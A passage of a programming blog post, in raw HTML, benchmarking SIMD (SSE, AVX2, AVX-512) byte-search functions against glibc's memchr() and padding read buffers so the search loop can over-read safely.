class=\"n\">i<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"k\">sizeof<\/span><span class=\"p\">(<\/span><span class=\"n\">__m256i<\/span><span class=\"p\">));<\/span>\n<span class=\"n\">__m256i<\/span><span class=\"w\"> <\/span><span class=\"n\">r<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">_mm256_cmpeq_epi8<\/span><span class=\"p\">(<\/span><span class=\"n\">x<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">q<\/span><span class=\"p\">);<\/span>\n<\/code><\/pre><\/div>\n\n<p>Which just yields:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"nf\">vpcmpeqb<\/span><span class=\"w\"> <\/span><span class=\"mi\">-32<\/span><span class=\"p\">(<\/span><span class=\"nv\">%r8<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"nv\">%ymm1<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%ymm0<\/span>\n<\/code><\/pre><\/div>\n\n<p>Similar to the previous version, but there is no <code>vlddqu<\/code>\ninstruction and instead different addressing is used in the first\noperand.<\/p>\n<p>Another way to eliminate the reinterpret cast is to implement\nit outside of C\/C++ without any intrinsics, i.e. as\npure-assembler implementation.<\/p>\n<h2 id=\"how-fast-is-just-sse\">How fast is just SSE?<a class=\"headerlink\" href=\"#how-fast-is-just-sse\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>In contrast with <a href=\"https:\/\/en.wikipedia.org\/wiki\/Advanced_Vector_Extensions\">AVX<\/a>, with the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Streaming_SIMD_Extensions\">SSE<\/a> SIMD extension\nthe registers are 'only' 128 Bit wide. Otherwise, the code\ndoesn't change much:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"cp\">#include<\/span><span class=\"w\"> <\/span><span class=\"cpf\">&lt;immintrin.h&gt;<\/span>\n\n<span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"nf\">find_sse<\/span><span class=\"p\">(<\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">b<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">e<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"n\">c<\/span><span class=\"p\">)<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">  <\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">b<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">  <\/span><span class=\"kr\">__m128i<\/span><span class=\"w\"> <\/span><span class=\"n\">q<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">_mm_set1_epi8<\/span><span class=\"p\">(<\/span><span class=\"n\">c<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">  <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"p\">(;<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"o\">+<\/span><span class=\"mi\">16<\/span><span class=\"w\"> <\/span><span class=\"o\">&lt;<\/span><span class=\"w\"> <\/span><span class=\"n\">e<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"o\">+=<\/span><span class=\"mi\">16<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"kr\">__m128i<\/span><span class=\"w\"> <\/span><span class=\"n\">x<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">_mm_lddqu_si128<\/span><span class=\"p\">(<\/span>\n<span class=\"w\">      <\/span><span class=\"k\">reinterpret_cast<\/span><span class=\"o\">&lt;<\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kr\">__m128i<\/span><span class=\"o\">*&gt;<\/span><span class=\"p\">(<\/span><span class=\"n\">i<\/span><span class=\"p\">));<\/span>\n<span class=\"w\">    <\/span><span class=\"kr\">__m128i<\/span><span class=\"w\"> <\/span><span class=\"n\">r<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">_mm_cmpeq_epi8<\/span><span class=\"p\">(<\/span><span class=\"n\">x<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">q<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"kt\">int<\/span><span class=\"w\">     <\/span><span class=\"n\">z<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">_mm_movemask_epi8<\/span><span class=\"p\">(<\/span><span class=\"n\">r<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">z<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">      <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">+<\/span><span class=\"w\"> <\/span><span class=\"n\">__builtin_ffs<\/span><span class=\"p\">(<\/span><span class=\"n\">z<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">  <\/span><span class=\"p\">}<\/span>\n\n<span class=\"w\">  <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"p\">(;<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">&lt;<\/span><span class=\"w\"> <\/span><span class=\"n\">e<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"o\">++<\/span><span class=\"n\">i<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"o\">*<\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">==<\/span><span class=\"w\"> <\/span><span class=\"n\">c<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">      <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"p\">;<\/span>\n\n<span class=\"w\">  <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"n\">e<\/span><span class=\"p\">;<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>Its <a href=\"http:\/\/gcc.godbolt.org\/#compilers:!((compiler:g62,options:'-O3+-march%3Dskylake+',source:'%23include+%3Cimmintrin.h%3E%0A%0Aconst+char+*find_avx(const+char+*b,+const+char+*e,+char+c)%0A%7B%0A++const+char+*i+%3D+b%3B%0A++__m128i+q+%3D+_mm_set1_epi8(c)%3B%0A++for+(%3B+i%2B16+%3C+e%3B+i%2B%3D16)+%7B%0A++++__m128i+x+%3D+_mm_lddqu_si128((__m128i*)i)%3B%0A++++__m128i+r+%3D+_mm_cmpeq_epi8(x,+q)%3B%0A++++int+z+%3D+_mm_movemask_epi8(r)%3B%0A++++if+(z)%0A++++++return+i+%2B+__builtin_ffs(z)+-+1%3B%0A++%7D%0A%0A++for+(%3B+i+%3C+e%3B+%2B%2Bi)%0A++++if+(*i+%3D%3D+c)%0A++++++return+i%3B%0A%0A++return+e%3B%0A%7D%0A')),filterAsm:(colouriseAsm:!t,commentOnly:!t,directives:!t,labels:!t),version:3\">assembler output<\/a> is not much different from the\nprevious one, basically the SIMD register names just change from\n<code>ymmX<\/code> to <code>xmmX<\/code>. And, since there is no possibility of mixing\nAVX with SSE the GCC doesn't emit any <code>vzeroupper<\/code> statements.<\/p>\n<p>The median runtime increases a little bit to 31 seconds, thus it is similar\nto the runtime of <code>memchr()<\/code>.<\/p>\n<h2 id=\"what-about-avx-512\">What about AVX-512<a class=\"headerlink\" href=\"#what-about-avx-512\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Unfortunately, normal Skylake CPUs don't include AVX-512, it is\nonly available in server variants and later CPU generations. With\nAVX-512, not just the vector register size is doubled to 512 bit,\nbut perhaps more importantly there are new instructions that\ncompare and compute the mask at once:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"nf\">find_avx512<\/span><span class=\"p\">(<\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">b<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">e<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"n\">c<\/span><span class=\"p\">)<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">  <\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">b<\/span><span class=\"p\">;<\/span>\n\n<span class=\"w\">  <\/span><span class=\"n\">__m256i<\/span><span class=\"w\"> <\/span><span class=\"n\">q<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">_mm256_set1_epi8<\/span><span class=\"p\">(<\/span><span class=\"n\">c<\/span><span class=\"p\">);<\/span>\n\n<span class=\"w\">  <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"p\">(;<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"o\">+<\/span><span class=\"mi\">32<\/span><span class=\"w\"> <\/span><span class=\"o\">&lt;<\/span><span class=\"w\"> <\/span><span class=\"n\">e<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"o\">+=<\/span><span class=\"mi\">32<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">__m256i<\/span><span class=\"w\">   <\/span><span class=\"n\">x<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">_mm256_lddqu_si256<\/span><span class=\"p\">(<\/span>\n<span class=\"w\">      <\/span><span class=\"k\">reinterpret_cast<\/span><span class=\"o\">&lt;<\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"n\">__m256i<\/span><span class=\"o\">*&gt;<\/span><span class=\"p\">(<\/span><span class=\"n\">i<\/span><span class=\"p\">));<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">__mmask32<\/span><span class=\"w\"> <\/span><span class=\"n\">z<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">_mm256_cmpeq_epi8_mask<\/span><span class=\"p\">(<\/span><span class=\"n\">x<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">q<\/span><span class=\"p\">);<\/span>\n\n<span class=\"w\">    <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">z<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">      <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">+<\/span><span class=\"w\"> <\/span><span class=\"n\">__builtin_ffs<\/span><span class=\"p\">(<\/span><span class=\"n\">z<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">  <\/span><span class=\"p\">}<\/span>\n\n<span class=\"w\">  <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"p\">(;<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">&lt;<\/span><span class=\"w\"> <\/span><span class=\"n\">e<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"o\">++<\/span><span class=\"n\">i<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"o\">*<\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">==<\/span><span class=\"w\"> <\/span><span class=\"n\">c<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">      <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"p\">;<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>(compile with e.g. <code>--march=skylake-avx512<\/code> - <a href=\"http:\/\/gcc.godbolt.org\/#compilers:!((compiler:g62,options:'-O3+-march%3Dskylake-avx512',source:'%23include+%3Calgorithm%3E%0A%23include+%3Cstdlib.h%3E%0A%23include+%3Cstring.h%3E%0A%23include+%3Cimmintrin.h%3E%0Ausing+namespace+std%3B%0A%0Aconst+char+*find_avx512_256(const+char+*b,+const+char+*e,+char+c)%0A%7B%0A++const+char+*i+%3D+b%3B%0A%0A++__m256i+q+%3D+_mm256_set1_epi8(c)%3B%0A%0A++for+(%3B+i%2B32+%3C+e%3B+i%2B%3D32)+%7B%0A++++__m256i+x+%3D+_mm256_lddqu_si256((__m256i*)i)%3B%0A++++__mmask32+z+%3D+_mm256_cmpeq_epi8_mask(x,+q)%3B%0A%0A++++if+(z)%0A++++++return+i+%2B+__builtin_ffs(z)+-+1%3B%0A++%7D%0A++%0A++for+(%3B+i+%3C+e%3B+%2B%2Bi)%0A++++if+(*i+%3D%3D+c)%0A++++++return+i%3B%0A%7D%0A')),filterAsm:(colouriseAsm:!t,commentOnly:!t,directives:!t,labels:!t),version:3\">GCC explorer<\/a>)<\/p>\n<h2 id=\"glibc-memchr\">Glibc <code>memchr()<\/code><a class=\"headerlink\" href=\"#glibc-memchr\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>When compiling with <a href=\"https:\/\/gcc.gnu.org\/\">GCC<\/a> <code>g++<\/code> and <a href=\"https:\/\/www.gnu.org\/s\/libc\/\">glibc<\/a> and\noptimizations turned on, the <code>\/usr\/include\/string.h<\/code> header\ndefines <code>memchr()<\/code> like this:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">extern_always_inline<\/span><span class=\"w\"> <\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">void<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span>\n<span class=\"n\">memchr<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">void<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">__s<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"kt\">int<\/span><span class=\"w\"> <\/span><span class=\"n\">__c<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"kt\">size_t<\/span><span class=\"w\"> <\/span><span class=\"n\">__n<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"n\">__THROW<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">  <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"n\">__builtin_memchr<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">__s<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">__c<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">__n<\/span><span class=\"p\">);<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>The <code>__builtin_memchr()<\/code> is a GCC builtin. This enables the\ncompiler to apply <code>memchr()<\/code> specific optimizations like folding.\nFor example, if all arguments are known at runtime, the compiler\ncould evaluate the function at compile time and just emit the\nresult as a constant. Or some variants could be replaced with\nspecial code, e.g. if length is constant zero.<\/p>\n<p>With the Fedora 23 system, the <code>__builtin_memchr()<\/code> ultimately\nyields a shared library symbol lookup for <code>memchr<\/code> which gets\nresolved into <code>sysdeps\/x86_64\/memchr.S<\/code>. This is an <a href=\"https:\/\/en.wikipedia.org\/wiki\/Streaming_SIMD_Extensions\">SSE<\/a>\nversion (i.e. that works with 128 Bit registers) implemented in ~\n300 lines of assembler. In the main loop 4 comparisons are done\nin a row, i.e. each loop iteration processes 64 byte, in a\nchunked fashion. There is a prologue dealing with an unaligned\nprefix, whereas the main loop processes increments in an aligned\nfashion.<\/p>\n<p>The main loop basically does 4 vector comparisons in a row and\nthen computes the maximum between each result vector:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"nf\">movdqa<\/span><span class=\"w\">  <\/span><span class=\"p\">(<\/span><span class=\"nv\">%rdi<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"nv\">%xmm0<\/span>\n<span class=\"nf\">movdqa<\/span><span class=\"w\">  <\/span><span class=\"mi\">16<\/span><span class=\"p\">(<\/span><span class=\"nv\">%rdi<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"nv\">%xmm2<\/span>\n<span class=\"nf\">movdqa<\/span><span class=\"w\">  <\/span><span class=\"mi\">32<\/span><span class=\"p\">(<\/span><span class=\"nv\">%rdi<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"nv\">%xmm3<\/span>\n<span class=\"nf\">movdqa<\/span><span class=\"w\">  <\/span><span class=\"mi\">48<\/span><span class=\"p\">(<\/span><span class=\"nv\">%rdi<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"nv\">%xmm4<\/span>\n\n<span class=\"nf\">pcmpeqb<\/span><span class=\"w\"> <\/span><span class=\"nv\">%xmm1<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%xmm0<\/span>\n<span class=\"nf\">pcmpeqb<\/span><span class=\"w\"> <\/span><span class=\"nv\">%xmm1<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%xmm2<\/span>\n<span class=\"nf\">pcmpeqb<\/span><span class=\"w\"> <\/span><span class=\"nv\">%xmm1<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%xmm3<\/span>\n<span class=\"nf\">pcmpeqb<\/span><span class=\"w\"> <\/span><span class=\"nv\">%xmm1<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%xmm4<\/span>\n\n<span class=\"nf\">pmaxub<\/span><span class=\"w\">  <\/span><span class=\"nv\">%xmm0<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%xmm3<\/span>\n<span class=\"nf\">pmaxub<\/span><span class=\"w\">  <\/span><span class=\"nv\">%xmm2<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%xmm4<\/span>\n<span class=\"nf\">pmaxub<\/span><span class=\"w\">  <\/span><span class=\"nv\">%xmm3<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%xmm4<\/span>\n<span class=\"nf\">pmovmskb<\/span><span class=\"w\"> <\/span><span class=\"nv\">%xmm4<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%eax<\/span>\n\n<span class=\"nf\">add<\/span><span class=\"w\">     <\/span><span class=\"no\">$64<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rdi<\/span>\n\n<span class=\"nf\">test<\/span><span class=\"w\">    <\/span><span class=\"nv\">%eax<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%eax<\/span>\n<span class=\"nf\">jz<\/span><span class=\"w\">      <\/span><span class=\"no\">L<\/span><span class=\"p\">(<\/span><span class=\"no\">align64_loop<\/span><span class=\"p\">)<\/span>\n\n<span class=\"nf\">sub<\/span><span class=\"w\">     <\/span><span class=\"no\">$64<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rdi<\/span>\n\n<span class=\"c1\"># .. if there is a match further masking\/comparing ..<\/span>\n<\/code><\/pre><\/div>\n\n<p>Glibc also comes with various system specific optimized versions\nfor other architectures like i386, PowerPC, MIPS, SPARC, m86k,\netc.<\/p>\n<p>On Fedora, the source can be found under<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>\/usr\/src\/debug\/glibc-2.22\/sysdeps\/x86_64\/memchr.S\n<\/code><\/pre><\/div>\n\n<p>if the glibc debug package was installed via e.g.<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>dnf<span class=\"w\"> <\/span>debuginfo-install<span class=\"w\"> <\/span>glibc-...\n<\/code><\/pre><\/div>\n\n<p>or in the glibc source package, e.g.:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>dnf<span class=\"w\"> <\/span>download<span class=\"w\"> <\/span>--source<span class=\"w\"> <\/span>glibc\nrpm2cpio<span class=\"w\"> <\/span>glibc-2.22-18.fc23.src.rpm<span class=\"w\"> <\/span><span class=\"p\">|<\/span><span class=\"w\"> <\/span>cpio<span class=\"w\"> <\/span>--extract<span class=\"w\"> <\/span>--make-directories\ntar<span class=\"w\"> <\/span>xf<span class=\"w\"> <\/span>glibc-2.22.tar.gz\n<span class=\"nb\">cd<\/span><span class=\"w\"> <\/span>glibc-2.22\nvim<span class=\"w\"> <\/span>sysdeps\/x86_64\/memchr.S\n<\/code><\/pre><\/div>\n\n<p>To verify what implementation actually ends up getting used,\nsetting a breakpoint with <code>gdb<\/code> and stepping instructions (i.e.\n<code>stepi<\/code> or short <code>si<\/code>) is useful. Of course, this is more\nconvenient, if the glibc debug package is installed.<\/p>\n<h2 id=\"controlled-buffer-overflow\">Controlled Buffer Overflow<a class=\"headerlink\" href=\"#controlled-buffer-overflow\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The AVX find version is fast because it searches using 32 byte\nincrements. Its weak point are the tails of the search range,\ni.e. when the range size is not a multiple of 32. In the worst\ncase the 2nd loop has to iterate for 31 remaining bytes. If we\ncould guarantee that the range size modulo 32 is always zero then\nthe 2nd loop could be eliminated. We can't - but the next best\nthing is to just partially read some additional bytes and ignore\nany matches in those.<\/p>\n<p>For that the contract with the caller has to be changed such that\nthe end of the range isn't also the end of the allocated buffer.\nOtherwise there is the risk to read into a guard page. The change\nto our main function is minimal:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"k\">enum<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span><span class=\"w\"> <\/span><span class=\"n\">N<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"mi\">128<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"w\"> <\/span><span class=\"mi\">1024<\/span><span class=\"w\"> <\/span><span class=\"p\">};<\/span>\n<span class=\"nb\">char<\/span><span class=\"w\"> <\/span><span class=\"n\">buffer<\/span><span class=\"p\">[<\/span><span class=\"n\">N<\/span><span class=\"o\">+<\/span><span class=\"mi\">31<\/span><span class=\"p\">];<\/span>\n<span class=\"n\">size_t<\/span><span class=\"w\"> <\/span><span class=\"n\">off<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"mi\">0<\/span><span class=\"p\">;<\/span>\n<span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"p\">(;;)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">  <\/span><span class=\"n\">auto<\/span><span class=\"w\"> <\/span><span class=\"n\">r<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">x<\/span><span class=\"p\">::<\/span><span class=\"n\">read<\/span><span class=\"p\">(<\/span><span class=\"n\">fd<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">buffer<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">N<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">  <\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"nb\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">b<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">buffer<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">  <\/span><span class=\"n\">auto<\/span><span class=\"w\"> <\/span><span class=\"n\">e<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">b<\/span><span class=\"w\"> <\/span><span class=\"o\">+<\/span><span class=\"w\"> <\/span><span class=\"n\">r<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">  <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"p\">(;;)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">auto<\/span><span class=\"w\"> <\/span><span class=\"n\">x<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">g<\/span><span class=\"p\">::<\/span><span class=\"n\">find<\/span><span class=\"p\">(<\/span><span class=\"n\">b<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">e<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;<\/span><span class=\"se\">\\n<\/span><span class=\"s1\">&#39;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">auto<\/span><span class=\"w\"> <\/span><span class=\"n\">y<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">g<\/span><span class=\"p\">::<\/span><span class=\"n\">find<\/span><span class=\"p\">(<\/span><span class=\"n\">b<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">x<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;|&#39;<\/span><span class=\"p\">);<\/span>\n<\/code><\/pre><\/div>\n\n<p>The minimal read buffer is just extended by 31 bytes.<\/p>\n<p>The AVX find function can be thus simplified to:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"cp\">#include<\/span><span class=\"w\"> <\/span><span class=\"cpf\">&lt;immintrin.h&gt;<\/span>\n\n<span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"nf\">find_avx2_overflow<\/span><span class=\"p\">(<\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">b<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">e<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"n\">c<\/span><span class=\"p\">)<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">  <\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">b<\/span><span class=\"p\">;<\/span>\n\n<span class=\"w\">  <\/span><span class=\"n\">__m256i<\/span><span class=\"w\"> <\/span><span class=\"n\">q<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">_mm256_set1_epi8<\/span><span class=\"p\">(<\/span><span class=\"n\">c<\/span><span class=\"p\">);<\/span>\n\n<span class=\"w\">  <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"p\">(;<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">&lt;<\/span><span class=\"w\"> <\/span><span class=\"n\">e<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"o\">+=<\/span><span class=\"mi\">32<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">__m256i<\/span><span class=\"w\"> <\/span><span 